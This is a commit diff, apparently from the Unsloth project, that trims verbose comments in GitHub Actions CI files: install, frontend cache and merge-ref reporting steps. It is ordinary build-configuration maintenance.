Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Trim comments in the installers, scripts and CI config (#12969)

Daniel Han3c812a36cdc7
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index ae5dade42d3..d9e53539785 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -1,13 +1,11 @@
-# These are supported funding model platforms
-
github: unslothai
-patreon: # Replace with a single Patreon username
-open_collective: # Replace with a single Open Collective username
-ko_fi: # unsloth
-tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
-community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
-liberapay: # Replace with a single Liberapay username
-issuehunt: # Replace with a single IssueHunt username
-otechie: # Replace with a single Otechie username
-lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
-custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
+patreon:
+open_collective:
+ko_fi:
+tidelift:
+community_bridge:
+liberapay:
+issuehunt:
+otechie:
+lfx_crowdfunding:
+custom:
diff --git a/.github/ISSUE_TEMPLATE/install-blocked-windows.yml b/.github/ISSUE_TEMPLATE/install-blocked-windows.yml
index afaba86b31f..88d2cdf2734 100644
--- a/.github/ISSUE_TEMPLATE/install-blocked-windows.yml
+++ b/.github/ISSUE_TEMPLATE/install-blocked-windows.yml
@@ -1,10 +1,7 @@
name: "Windows: antivirus or security software blocked the installer"
description: The installer, updater or Unsloth Studio was blocked, quarantined or deleted by security software on Windows
title: "[Blocked] "
-# Every one of these must exist in the repository. GitHub does not error on an unknown label, it
-# silently drops it -- so a typo here costs the triage label the form exists to attach, and nothing
-# reports it. All three were created for this form; `test_the_labels_the_form_declares_are_real`
-# keeps the list and the repository in step.
+# GitHub silently drops unknown labels; each must exist in the repo (checked by a test).
labels: [bug, windows, antivirus-false-positive]
body:
- type: markdown
diff --git a/.github/actions/core-cpu-setup/action.yml b/.github/actions/core-cpu-setup/action.yml
index 0a4c2127fce..bd69d3acd88 100644
--- a/.github/actions/core-cpu-setup/action.yml
+++ b/.github/actions/core-cpu-setup/action.yml
@@ -1,41 +1,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The CPU install preamble that every `Core` matrix cell runs before it can
-# execute a single test: node, uv, the __from_pyproject__ spec resolution, the
-# ~2 GB pip install, and the shallow unsloth_zoo clone.
-#
-# Extracted because `consolidated-tests-ci.yml` now has TWO matrix jobs over the
-# same three (transformers, TRL) combos rather than one. The zoo suite was 457s
-# of a 17.2 minute serial cell, so it moved into its own job and now runs beside
-# the rest of Core instead of after it. Both jobs need a byte-identical
-# environment: the whole point of the split is that the two halves test the same
-# stack they used to test together, and the cheapest way for that claim to go
-# quietly false is two copies of a 120-line install block drifting apart one
-# pinned version at a time.
-#
-# So there is one copy, here, and the two call sites pass only what genuinely
-# differs between them: nothing, today, beyond the matrix specs both already
-# receive from the same matrix definition.
-#
-# What deliberately stays at the CALLER:
+# Shared CPU install preamble for both Core matrix jobs; one copy keeps their environments identical.
+# Callers keep checkout, setup-python and the pip cache restore/save steps:
# - actions/checkout, because `uses: ./.github/actions/...` cannot resolve
# before the repository is on disk.
-# - actions/setup-python, because the pip cache restore below it probes
-# `python -m pip cache dir` and so has to run after the interpreter is
-# selected, while the install steps in here have to run after the cache is
-# restored. Splitting this action in two to swallow both halves would buy
-# nothing over leaving four pinned lines in the caller.
-# - the pip-cache-restore / pip-cache-save pair, which
-# tests/studio/test_cache_budget_discipline.py and
-# tests/studio/test_pip_cache_naming.py both read off the JOB's step list.
-# Hiding them in here would make those guards silently vacuous for the two
-# jobs that hold the largest pip entries in the repo, which is the exact
-# failure shape that file exists to reject.
-#
-# tests/studio/test_zoo_suite_parallel_isolation.py asserts that the two callers
-# agree on all of the above, so the four lines this action does not own cannot
-# drift either.
+# - setup-python, which the pip cache restore needs first.
+# - the pip cache pair, which tests read off the job's own step list.
name: Core CPU setup
description: >-
@@ -78,17 +49,8 @@ runs:
run: pip install uv
- name: Resolve matrix specs (handle __from_pyproject__ sentinel)
- # The pyproject cell uses a sentinel; resolve the real `transformers`
- # and `trl` constraints from the project's pyproject.toml at job time.
- # unsloth's pyproject puts the LLM stack pins in
- # [project.optional-dependencies] under the `huggingfacenotorch`
- # extra (top-level [project.dependencies] is just typer/pydantic/etc.),
- # so we walk every optional extra and pick the first matching spec.
- # Other cells pass their spec through unchanged.
- #
- # RESOLVED_* go to $GITHUB_ENV, which is the job's environment file: the
- # install step below reads them, and so does every later step in the
- # CALLING job, exactly as when these lines lived in the workflow.
+ # Resolve the pyproject sentinel to real transformers/trl specs from the optional extras.
+ # RESOLVED_* go to $GITHUB_ENV so later steps in the calling job see them too.
shell: bash
env:
MATRIX_TRANSFORMERS_SPEC: ${{ inputs.transformers-spec }}
@@ -122,36 +84,16 @@ runs:
print(f"RESOLVED_TRANSFORMERS_SPEC={spec_t}")
print(f"RESOLVED_TRL_SPEC={spec_r}")
PY
- # Echo to logs so the matrix cell label maps cleanly to a spec.
grep RESOLVED_ "$GITHUB_ENV" || true
- name: Install runtime deps (mirrors studio-backend-ci.yml + mlx-ci.yml)
- # The shape matches studio-backend-ci.yml's "Repo tests (CPU)" install
- # so we inherit the same CPU-spoof harness in tests/conftest.py and
- # the same import-chain guarantees, plus the extra deps that the
- # tests/saving + tests/utils Bucket-A files transitively need but
- # which Repo tests (CPU) does not require because it --ignores
- # those directories:
- # - protobuf + sentencepiece: tests/saving/test_fix_sentencepiece_gguf_robustness.py
- # does `from transformers.utils import sentencepiece_model_pb2`,
- # which imports `google.protobuf`. Not pulled by transformers'
- # base install.
- # - triton: unsloth/kernels and unsloth_zoo's compiler and loss_utils
- # import it at module scope, so `import unsloth` needs it even though
- # _gpu_init.py treats it as optional. The PyPI wheel imports fine on
- # Linux x86_64 without CUDA; only runtime GPU work would fail.
- # transformers + trl are matrix-parameterized.
+ # protobuf + sentencepiece: needed by tests/saving. triton: imported at module scope by unsloth.
shell: bash
run: |
set -euxo pipefail
python -m pip install --upgrade pip
pip install -r studio/backend/requirements/studio.txt
- # CPU torch FIRST, before anything that depends on torch. peft, accelerate and
- # datasets all declare a torch dependency, so installing them first made pip
- # resolve it from PyPI: the default CUDA build, plus 14 nvidia_* wheels and
- # cuda-toolkit, roughly 2.3 GB, which the pinned CPU wheel below then replaced
- # seconds later. Same end state either way; this just stops paying for the
- # download. torchvision: unsloth_zoo.vision_utils imports it at module scope.
+ # CPU torch first, or peft/accelerate/datasets pull the ~2.3 GB CUDA build from PyPI.
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install \
@@ -162,15 +104,12 @@ runs:
psutil packaging tqdm safetensors datasets \
'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
ipython hf_transfer
- # hf_transfer: declared by unsloth and unsloth_zoo, both installed --no-deps; keeps the hub 0.x lane on the user path.
- # transformers + trl from the matrix combo.
+ # hf_transfer: declared by unsloth and unsloth_zoo, both installed --no-deps.
pip install "$RESOLVED_TRANSFORMERS_SPEC"
pip install "$RESOLVED_TRL_SPEC"
- # bitsandbytes: hard import in unsloth/models/_utils.py. Recent
- # versions ship a CPU build that imports cleanly on Linux.
+ # bitsandbytes: hard import in unsloth/models/_utils.py.
pip install 'bitsandbytes>=0.45'
- # unsloth itself, editable, no-deps so pip does not fight the
- # explicit torch CPU-index install above.
+ # --no-deps so pip does not replace the CPU torch installed above.
pip install -e . --no-deps
echo "::group::Installed transformers + trl + torch + unsloth versions"
pip show transformers
@@ -180,26 +119,14 @@ runs:
echo "::endgroup::"
- name: Clone unsloth_zoo @ ${{ inputs.unsloth-zoo-ref }}
- # We need the repository tree (the wheel does not ship tests/), so
- # clone shallow then editable-install so unsloth_zoo.* imports
- # resolve to the cloned tree. We use `pip show` for the location
- # check rather than `import unsloth_zoo` because the latter calls
- # device_type.get_device_type() at module load and raises on a
- # GPU-less runner; pytest steps below route through the existing
- # tests/conftest.py spoof which handles that.
+ # Use `pip show`, not `import unsloth_zoo`, which raises on a GPU-less runner.
shell: bash
env:
UNSLOTH_ZOO_REF: ${{ inputs.unsloth-zoo-ref }}
run: |
set -euxo pipefail
- # github.com occasionally 500s on the git fetch; retry so a
- # single upstream blip does not fail CI.
- # fetch + checkout rather than `clone --branch`: the ref is a commit SHA once
- # resolve-zoo-ref has pinned it, and --branch takes only an advertised branch or
- # tag, so it would fail with "Remote branch <sha> not found in upstream origin".
- # tests/studio/studiobench/runtime/selftest/test_studiobench_lifecycle_refs.py
- # ::test_clone_branch_cannot_take_a_commit asserts that rule. This form takes a
- # branch, a tag or a commit, and stays shallow.
+ # Retry for transient github.com 500s. fetch + checkout because the ref may be a commit SHA,
+ # which `clone --branch` rejects.
for attempt in 1 2 3; do
rm -rf "$RUNNER_TEMP/unsloth-zoo"
if git init -q "$RUNNER_TEMP/unsloth-zoo" \
@@ -220,19 +147,10 @@ runs:
pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps
pip show unsloth_zoo
- # resolve-zoo-ref pins the sha in a separate gating job, and `gh run rerun --failed`
- # reuses successful jobs, so a re-run of a red Core zoo cell silently re-tests the
- # revision it was given the first time. A full re-run re-resolves and picks up main.
- # Nothing here may fail the cell: the suite has already passed by this point.
- # `|| true` INSIDE the substitution, because under `set -euxo pipefail` the
- # pipeline's status becomes the assignment's and -e ends the step; `timeout` for the
- # other half, a lookup that hangs rather than exits, which `|| true` cannot reach.
- # Covered by tests/studio/test_core_setup_zoo_revision_notice.py.
+ # Warn-only: `|| true` must stay inside the substitution under set -e, and timeout covers a hang.
head="$( { timeout 15 git ls-remote https://github.com/unslothai/unsloth-zoo refs/heads/main 2>/dev/null || true; } | cut -f1 )"
pinned="$(git -C "$RUNNER_TEMP/unsloth-zoo" rev-parse HEAD)"
echo "unsloth_zoo revision under test: $pinned"
if [ -n "$head" ] && [ "$head" != "$pinned" ]; then
- # A deliberate workflow_dispatch pin, a moving main and a stale re-run are
- # indistinguishable here, and re-running is the remedy for only the last.
echo "::warning title=unsloth_zoo is not at main::Testing $pinned; unslothai/unsloth-zoo main is now $head. If this run pinned unsloth_zoo_ref deliberately, that is expected and re-running keeps the pin. Otherwise either main advanced between the resolve job and this step, or this is a --failed re-run that kept the revision resolved on the first attempt; for the latter, re-run ALL jobs to pick up main."
fi
diff --git a/.github/actions/frontend-dist-restore/action.yml b/.github/actions/frontend-dist-restore/action.yml
index 995397c3f91..9d14acf3270 100644
--- a/.github/actions/frontend-dist-restore/action.yml
+++ b/.github/actions/frontend-dist-restore/action.yml
@@ -1,35 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Restore half of the built-frontend cache. Pair it with frontend-dist-save AFTER
-# the install, passing the outputs below.
-#
-# WHY THIS IS AN ACTION AND NOT FOUR STEPS IN A WORKFLOW
# ---------------------------------------------------------------------------
-# The cache is correct only because two independent places agree:
-#
-# studio/setup.sh rebuilds when anything under frontend/ (maxdepth 1, minus
-# bun.lock), frontend/src or frontend/public is NEWER than
-# frontend/dist
-# studio/setup.ps1 the same predicate, over the same three groups, against
-# `(Get-Item $DistDir).LastWriteTime`
-# the key below hashes exactly those three path groups
-#
-# A hit therefore means the build inputs are byte-identical, which is strictly
-# stronger than the mtime test it rides on, and it makes a restored dist correct
-# by construction rather than by luck.
-#
-# Break that agreement and NOTHING GOES RED. The cache keeps hitting and quietly
-# starts serving a dist built from inputs the key no longer covers. So the key
-# gets exactly one definition -- this one. `install-unsloth-local` delegates
-# here rather than carrying its own copy, because two copies of a key whose drift
-# is silent will drift, and the twelve workflows that now share it would drift twelve
-# ways. tests/studio/test_frontend_dist_cache.py holds the agreement together and
-# is where the reasoning lives.
-#
-# Measured: 36s median of a 74s install on Linux (13 jobs), and 96s of a ~257s
-# install on Windows (`[72s] building frontend...` -> `[168s] frontend built`),
-# every job, every commit, producing byte-identical output.
+# Restore half of the built-frontend cache; pair with frontend-dist-save after the install.
+# The key must hash exactly the inputs setup.sh/setup.ps1 check; drift serves a stale dist silently.
name: Restore the built frontend
description: >-
@@ -69,19 +43,14 @@ outputs:
runs:
using: composite
steps:
- # Before the restore, not after: an empty key would otherwise be used to look
- # something up first, and on a repo where some other branch once saved under
- # the same empty key that lookup HITS.
+ # Before the restore: an empty key could otherwise hit some other branch's entry.
- name: Refuse a frontend cache key that hashes nothing
shell: bash
env:
FE_KEY: ${{ hashFiles(format('{0}studio/frontend/*', inputs.path-prefix), format('{0}studio/frontend/src/**', inputs.path-prefix), format('{0}studio/frontend/public/**', inputs.path-prefix), format('!{0}studio/frontend/tests/**', inputs.path-prefix), format('!{0}studio/frontend/scripts/**', inputs.path-prefix), format('!{0}studio/frontend/e2e/**', inputs.path-prefix)) }}
FE_PREFIX: ${{ inputs.path-prefix }}
run: |
- # hashFiles returns "" when a glob matches no file, which would collapse
- # every commit onto one key and serve an arbitrary dist. That is the one
- # way this cache can be actively WRONG rather than merely useless, and it
- # is invisible: the restore succeeds and the build is skipped.
+ # hashFiles returns "" when nothing matches, collapsing every commit onto one key.
if [ -z "$FE_KEY" ]; then
echo "::error::hashFiles matched no frontend sources under '${FE_PREFIX}studio/frontend', so the dist cache key is degenerate. Either this job checks the repo out into a subdirectory and did not pass path-prefix (which must end in '/'), or the frontend layout moved -- in which case update this action and tests/studio/test_frontend_dist_cache.py together."
exit 1
@@ -90,28 +59,13 @@ runs:
- name: Restore the built frontend
id: restore
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
- # A cache is an optimisation; a cache service blip must not fail the job.
continue-on-error: true
with:
path: ${{ inputs.path-prefix }}studio/frontend/dist
- # NO restore-keys, deliberately, and the opposite of the uv download cache
- # in install-unsloth-local. A near-miss download cache still supplies most
- # of the wheels, which is most of the win. A near-miss dist is a bundle
- # built from DIFFERENT source: wrong, not partial. Only an exact match may
- # be served.
+ # No restore-keys: a near-miss dist is built from different source, so only exact hits are safe.
key: fe-dist-${{ runner.os }}-${{ hashFiles(format('{0}studio/frontend/*', inputs.path-prefix), format('{0}studio/frontend/src/**', inputs.path-prefix), format('{0}studio/frontend/public/**', inputs.path-prefix), format('!{0}studio/frontend/tests/**', inputs.path-prefix), format('!{0}studio/frontend/scripts/**', inputs.path-prefix), format('!{0}studio/frontend/e2e/**', inputs.path-prefix)) }}
- # THE STEP THE WHOLE CACHE RESTS ON, and the one that is silent when wrong.
- #
- # actions/cache restores through tar, which preserves the ORIGINAL mtimes. A
- # dist restored that way is older than the checkout that just wrote every
- # source file, so the staleness check sees the whole tree as newer and rebuilds
- # anyway. The cache would report a hit, cost a download, and save nothing --
- # green job, healthy-looking hit rate, 96s still spent.
- #
- # Touching the DIRECTORY is what makes the hit count, and it is honest because
- # the key already proved the inputs are byte-identical. The directory only:
- # both scripts compare against `frontend/dist` itself, not its contents.
+ # tar restores old mtimes, so touch dist or setup sees sources as newer and rebuilds anyway.
- name: Make the restored frontend outrank its sources (POSIX)
if: steps.restore.outputs.cache-hit == 'true' && runner.os != 'Windows'
shell: bash
@@ -124,9 +78,6 @@ runs:
exit 1
fi
touch "$DIST"
- # Read it back and evaluate setup.sh's own predicate here, where it can be
- # reported. `touch` succeeding is not the same claim as `find -newer dist`
- # coming back empty, and only the second one stops the rebuild.
newer=$(find "$FE" -maxdepth 1 -type f ! -name 'bun.lock' -newer "$DIST" -print -quit 2> /dev/null)
if [ -z "$newer" ]; then
newer=$(find "$FE/src" "$FE/public" -type f -newer "$DIST" -print -quit 2> /dev/null) || true
@@ -137,17 +88,7 @@ runs:
fi
echo "restored a prebuilt frontend; setup.sh will report it up to date"
- # pwsh rather than `shell: bash` + `touch`, even though Git Bash is present on
- # windows-latest and these workflows already use it as their default shell.
- #
- # setup.ps1 reads `(Get-Item $DistDir).LastWriteTime`. This writes that exact
- # property, by name, through the same API -- so no inference is required about
- # whether MSYS `utimensat` on a DIRECTORY handle lands in the field NTFS
- # reports there. `touch` may well work; it just cannot be checked from the
- # Linux box where this was written, and the cost of it silently not working is
- # a cache that hits and rebuilds anyway, which is the failure this whole action
- # exists to prevent. The POSIX branch keeps the `touch` that is measured
- # working on main rather than churning a proven path.
+ # pwsh so LastWriteTime is set through the same API setup.ps1 reads.
- name: Make the restored frontend outrank its sources (Windows)
if: steps.restore.outputs.cache-hit == 'true' && runner.os == 'Windows'
shell: pwsh
@@ -164,9 +105,6 @@ runs:
}
(Get-Item -LiteralPath $dist).LastWriteTime = Get-Date
- # Read it back and evaluate setup.ps1:3526-3549's own predicate here, over
- # the same three groups, so a touch that did not take is reported instead of
- # showing up as 96s nobody attributes.
$distTime = (Get-Item -LiteralPath $dist).LastWriteTime
$newer = $null
foreach ($subDir in @('src', 'public')) {
diff --git a/.github/actions/frontend-dist-save/action.yml b/.github/actions/frontend-dist-save/action.yml
index 6157873c353..bc1bac62cea 100644
--- a/.github/actions/frontend-dist-save/action.yml
+++ b/.github/actions/frontend-dist-save/action.yml
@@ -1,25 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Save half of the built-frontend cache, plus the one assertion that stops this
-# cache from failing silently. See frontend-dist-restore for why the pair is split
-# and where the key's reasoning lives. Run this AFTER the install step.
-#
-# THE ASSERTION IS THE POINT
# ---------------------------------------------------------------------------
-# Every other way this cache goes wrong is loud. This one is not: if the restored
-# dist does not end up NEWER than the checked-out sources, setup.sh / setup.ps1
-# rebuild it anyway. The job goes green, `Cache hit for: fe-dist-...` still appears
-# in the log, the cache dashboard shows a healthy hit rate, and the only trace is
-# the 36s (Linux) / 96s (Windows) that the cache was supposed to remove and that
-# nobody attributes to anything. That state is indistinguishable from success
-# unless something looks.
-#
-# So something looks. The install already tees its output to a log; a hit that was
-# followed by a rebuild marker fails the job here, once, in one place, for every
-# call site. tests/studio/test_frontend_dist_cache.py pins the markers against the
-# two installer scripts, so a rename goes red in pytest rather than quietly
-# disarming this.
+# Save half of the frontend cache. Run after the install; fails if a hit was rebuilt anyway.
+# The log markers are pinned by tests/studio/test_frontend_dist_cache.py.
name: Save the built frontend
description: >-
@@ -76,9 +60,7 @@ runs:
INSTALL_LOG: ${{ inputs.install-log }}
DIST: ${{ inputs.path-prefix }}studio/frontend/dist
run: |
- # A missing log is a failure, not a skip. "The assertion found nothing to
- # read" and "the assertion passed" must not look the same, or this guard
- # disarms itself the first time a call site moves its log.
+ # A missing log must fail, not pass, or the guard disarms itself.
if [ ! -f "$INSTALL_LOG" ]; then
echo "::error::the frontend dist cache hit, but $INSTALL_LOG does not exist, so whether the restored dist was reused or rebuilt cannot be checked. Pass install-log pointing at the log this job actually writes."
exit 1
@@ -87,17 +69,11 @@ runs:
echo "::error::the frontend dist cache hit, but $DIST is gone after the install"
exit 1
fi
- # setup.sh:1265 and setup.ps1:3633 both emit this immediately before running
- # the bundler. Seeing it after a HIT means the restored dist did not outrank
- # its sources and the cache cost a download and saved nothing.
if grep -qi 'building frontend' "$INSTALL_LOG"; then
echo "::error::the frontend dist cache reported a hit and the installer rebuilt the frontend anyway, so the cache cost a download and saved nothing. The restored dist did not end up newer than the checked-out sources -- check the touch step in frontend-dist-restore for this runner's OS."
grep -n -i -E 'frontend' "$INSTALL_LOG" | tail -20
exit 1
fi
- # The same fact from the other side. Either marker being renamed would
- # otherwise disarm the check above without anything going red;
- # tests/studio/test_frontend_dist_cache.py pins both against the scripts.
if ! grep -qi 'frontend.*up to date' "$INSTALL_LOG"; then
echo "::error::the frontend dist cache hit and the installer did not report the frontend up to date. Either the staleness check no longer prints that, or it took a branch nobody expected here."
grep -n -i -E 'frontend' "$INSTALL_LOG" | tail -20
@@ -105,17 +81,8 @@ runs:
fi
echo "the restored frontend was reused; no rebuild happened"
- # Main only, the rule every cache in this repo follows: a PR-scoped entry can
- # only be restored by re-runs of that same PR while still counting against the
- # shared 50 GiB budget -- measured 99.3% full once already -- evicting the copy
- # on main that every PR can read.
- #
- # Deliberately NOT `always()`. A save whose payload was produced by an earlier
- # step must not run when that step failed, or a half-built dist gets stored
- # under an immutable key and served to every later run
- # (tests/studio/test_cache_budget_discipline.py has the Playwright version of
- # that story). Leaving the condition off `always()` means a failed install
- # simply skips this step, which is the behaviour wanted.
+ # Main only: PR-scoped entries are unreadable by other PRs and evict main's copy.
+ # Not always(): a failed install must not store a half-built dist under an immutable key.
- name: Save the built frontend
if: >-
(github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth')) && inputs.cache-hit != 'true'
diff --git a/.github/actions/install-unsloth-local/action.yml b/.github/actions/install-unsloth-local/action.yml
index f14ba17848f..0933ada8625 100644
--- a/.github/actions/install-unsloth-local/action.yml
+++ b/.github/actions/install-unsloth-local/action.yml
@@ -1,28 +1,9 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The POSIX `install.sh --local --no-torch` bootstrap, which 13 jobs across 8
-# workflows ran with a byte-identical body. Extracted so the invocation has one
-# definition: the `set -o pipefail` + `tee` idiom is easy to get subtly wrong
-# (without pipefail the step reports the exit status of `tee`, not of
-# install.sh, and a failed install passes), and a flag or log-path change
-# previously had to be applied to 13 places consistently.
-#
-# Deliberately NOT parameterised beyond the two tokens. This action is "the
-# standard local no-torch install", not a general installer wrapper: giving it
-# an `args` input would let call sites drift apart again, which is the thing it
-# exists to prevent. The Windows `install.ps1` path is a different script with a
-# different body and stays separate.
-#
-# Composite actions cannot read the `secrets` context, so both tokens are
-# explicit inputs that each caller passes. That is not boilerplate for its own
-# sake: it keeps the PR-withholding decision visible at the call site, where it
-# belongs, rather than hidden behind a default.
-#
-# Keep `id`, `if`, `timeout-minutes` and `continue-on-error` on the CALLER's
-# step. They are step-level keys on the `uses:` step, so `steps.<id>.outcome`
-# gating in the caller keeps working unchanged; the caller sees this action as a
-# single step and cannot inspect the steps inside it.
+# The POSIX `install.sh --local --no-torch` bootstrap. pipefail is required or tee hides failures.
+# Tokens are explicit inputs because composite actions cannot read `secrets`.
+# Keep `id`, `if`, `timeout-minutes` and `continue-on-error` on the caller's `uses:` step.
name: Install Unsloth (--local, --no-torch)
description: >-
@@ -57,50 +38,12 @@ inputs:
runs:
using: composite
steps:
- # The uv download cache. Delegated, like the frontend dist below, so the key has
- # exactly one definition: the Windows jobs run install.ps1 from a hand-written pwsh
- # step and never come through here, and a second copy would drift silently. The
- # reasoning lives in .github/actions/uv-cache-restore, which folds the UV_CACHE_DIR
- # setter and the restore into this one step; tests/studio/test_uv_cache_discipline.py
- # inlines them again and still checks their order against the install.
- name: Restore the uv download cache
id: uv-cache
uses: ./.github/actions/uv-cache-restore
- # The frontend build is the other half of this step, and unlike the wheels it is
- # not a download at all. Measured over 13 distinct Linux jobs on main, using the
- # elapsed-second prefix below: a median 36s of a 74s install, 49% of it, and
- # 468s per commit spent producing byte-identical output. The uv cache above
- # already hits exactly (`Cache hit for: uv-Linux-<hash>`, one 31 kB straggler),
- # so what is left is compute, and the only way to stop paying it 13 times is to
- # not do it 13 times.
- #
- # Delegated rather than written out here, since #9375, because the Windows jobs
- # need the identical cache and do not go through this action: they run
- # `install.ps1` from a hand-written `shell: pwsh` step. Two copies of a key whose
- # drift is SILENT will drift -- the cache keeps hitting and starts serving a dist
- # built from inputs the key no longer covers -- so the key has exactly one
- # definition, in frontend-dist-restore, and that is where its reasoning lives.
- #
- # This action is therefore ROOT-CHECKOUT ONLY, and more explicitly than before.
- # `uses: ./...` resolves from GITHUB_WORKSPACE and does not accept expressions,
- # so the two references below cannot be prefixed for a job that checks this repo
- # out into a subdirectory; such a job fails outright with "Can't find
- # 'action.yml'". No caller does that today -- every call site is
- # `./.github/actions/install-unsloth-local` -- and
- # tests/studio/test_frontend_dist_cache.py asserts it stays true, so the next
- # person meets a named rule instead of that error message. A nested-checkout job
- # that wants the dist cache calls frontend-dist-restore/-save directly and passes
- # their `path-prefix`, which is exactly what the Windows call sites do.
- #
- # (The runner resolves `./X` as `$GITHUB_WORKSPACE/X` unconditionally -- there is
- # no branch that consults the referencing action's own directory, and `uses:`
- # takes no expressions, so this cannot be parameterised. actions/runner#1348 is
- # the open bug. If the constraint ever needs lifting, the fix is the
- # self-repository `uses:` syntax that went GA on 2026-07-30, which resolves
- # against the repo at the running commit rather than the workspace; it needs
- # runner >= 2.336.0, is unavailable on GHES, and nothing in this repo uses it
- # yet, so adopting it is a separate decision from this one.)
+ # ROOT-CHECKOUT ONLY: `uses: ./...` resolves from GITHUB_WORKSPACE and takes no expressions
+ # (actions/runner#1348); tests/studio/test_frontend_dist_cache.py asserts every caller is at the root.
- name: Restore the built frontend
id: fe-dist
uses: ./.github/actions/frontend-dist-restore
@@ -113,38 +56,14 @@ runs:
run: |
mkdir -p logs
set -o pipefail
- # Elapsed-seconds prefix, added to the STEP LOG only.
- #
- # This is the largest step in most jobs that run it -- ~90s median on Linux,
- # 268-292s on Windows, ~118s on macOS, across 40 jobs -- and its output carries
- # no timestamps anywhere, so which phase spends that time cannot be read off a
- # CI log. Guessing has already been misleading: a no-op `unsloth studio update`
- # over a complete install costs MORE than the full install it follows, which is
- # the opposite of what a download-bound install does.
- #
- # Done here rather than in install.sh on purpose. install.sh, install.ps1 and
- # studio/setup.* are user-facing scripts and stay untouched; this is a display
- # filter over a stream CI already pipes, so it adds no switch to maintain, no
- # environment variable for the installers to interpret, and nothing that can
- # behave differently for a real user than it does here.
- #
- # Downstream of `tee` deliberately: logs/install.log keeps byte-for-byte what
- # install.sh wrote, so the ~30 places that read or grep that artifact see no
- # change at all. $SECONDS is the step's own clock and survives into the pipeline
- # subshell. The `|| [ -n "$line" ]` tail emits a final unterminated line, which
- # a bare `read` loop would swallow.
+ # Elapsed-seconds prefix for the step log only, downstream of tee so logs/install.log is unchanged.
+ # `|| [ -n "$line" ]` keeps a final unterminated line.
bash install.sh --local --no-torch 2>&1 \
| tee logs/install.log \
| while IFS= read -r line || [ -n "$line" ]; do
printf '[%4ds] %s\n' "$SECONDS" "$line"
done
- # Same pair as the restore above, and the other half of the reason to delegate:
- # this action gets the post-install reuse assertion (a hit followed by a
- # `building frontend` line fails the job) for free, in the same place the eight
- # five Windows job-legs get it.
- #
- # The uv save is delegated the same way, `uv cache prune --ci` included.
- name: Save the built frontend
uses: ./.github/actions/frontend-dist-save
with:
diff --git a/.github/actions/merge-ref-age/action.yml b/.github/actions/merge-ref-age/action.yml
index acf9d9db735..a5d7c539c36 100644
--- a/.github/actions/merge-ref-age/action.yml
+++ b/.github/actions/merge-ref-age/action.yml
@@ -1,29 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Say, on a failure, how far behind the base branch this run's merge ref is.
-#
-# A pull_request run does not test the PR's head. It tests `refs/pull/N/merge`, a
-# merge of the head into the base as the base stood WHEN THE RUN WAS CREATED. That
-# ref is not recomputed because the base later moved, so a failure fixed on main
-# ten minutes after a run started keeps failing that run forever, and re-running it
-# does not help: a re-run replays the same merge commit.
-#
-# That is not hypothetical here. #11372 gave three test files `encoding = "utf-8"`
-# and merged at 14:35 UTC. Runs created at 13:39, 14:26 and 14:29 on #11375, #11357
-# and #11373 all kept failing `tests/test_source_read_encoding.py` on exactly those
-# three lines, and all three were read as defects in branches that had never touched
-# the files. The only cure is a push to the PR, which is what makes GitHub build a
-# new merge ref.
-#
-# The cost of not saying this is that someone debugs a fix that already landed. The
-# step is `if: failure()` so a green job pays nothing for it, and it only speaks when
-# the base has actually moved, so it does not add noise to the common case where the
-# failure is real.
-#
-# It NEVER changes the job's result. A stale merge ref does not make a failure
-# untrue -- the merge really does fail -- and deciding that for the reader would be
-# worse than the confusion it is fixing. It reports and gets out of the way.
+# On failure, report how far the base has moved past this run's merge ref; re-runs reuse it.
+# Never changes the job result.
name: Report the age of this run's merge ref
description: >-
@@ -37,9 +16,7 @@ runs:
- name: Compare the merge ref's base against the branch tip
shell: bash
env:
- # `gh` needs a token, and checkout runs with persist-credentials: false
- # in these jobs, so there is nothing in the git config to fall back on.
- # The compare endpoint only wants `contents: read`.
+ # checkout uses persist-credentials: false, so gh needs the token; compare needs only contents: read.
GH_TOKEN: ${{ github.token }}
BASE_SHA: ${{ github.event.pull_request.base.sha }}
BASE_REF: ${{ github.event.pull_request.base.ref }}
@@ -47,18 +24,12 @@ runs:
run: |
set -u
if [ -z "${BASE_SHA:-}" ] || [ -z "${BASE_REF:-}" ]; then
- # Not a pull_request event. Nothing to compare against.
exit 0
fi
- # base.sha is the commit the merge ref was built on; BASE_REF is where the
- # branch is now. `ahead_by` on base...ref is how far the branch has moved
- # since, which is the number this is about. Asking the API rather than the
- # clone on purpose: these checkouts are shallow, and deepening them enough
- # to hold both commits costs more than the answer is worth.
+ # Ask the API, not the shallow clone.
behind=$(gh api "repos/${REPOSITORY}/compare/${BASE_SHA}...${BASE_REF}" --jq '.ahead_by' 2>/dev/null) || behind=""
case "${behind}" in
''|*[!0-9]*)
- # No answer, or not a number. Say nothing rather than guess.
exit 0
;;
esac
diff --git a/.github/actions/pip-cache-restore/action.yml b/.github/actions/pip-cache-restore/action.yml
index e6ed64d1c63..3d9eaef0cd1 100644
--- a/.github/actions/pip-cache-restore/action.yml
+++ b/.github/actions/pip-cache-restore/action.yml
@@ -1,27 +1,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
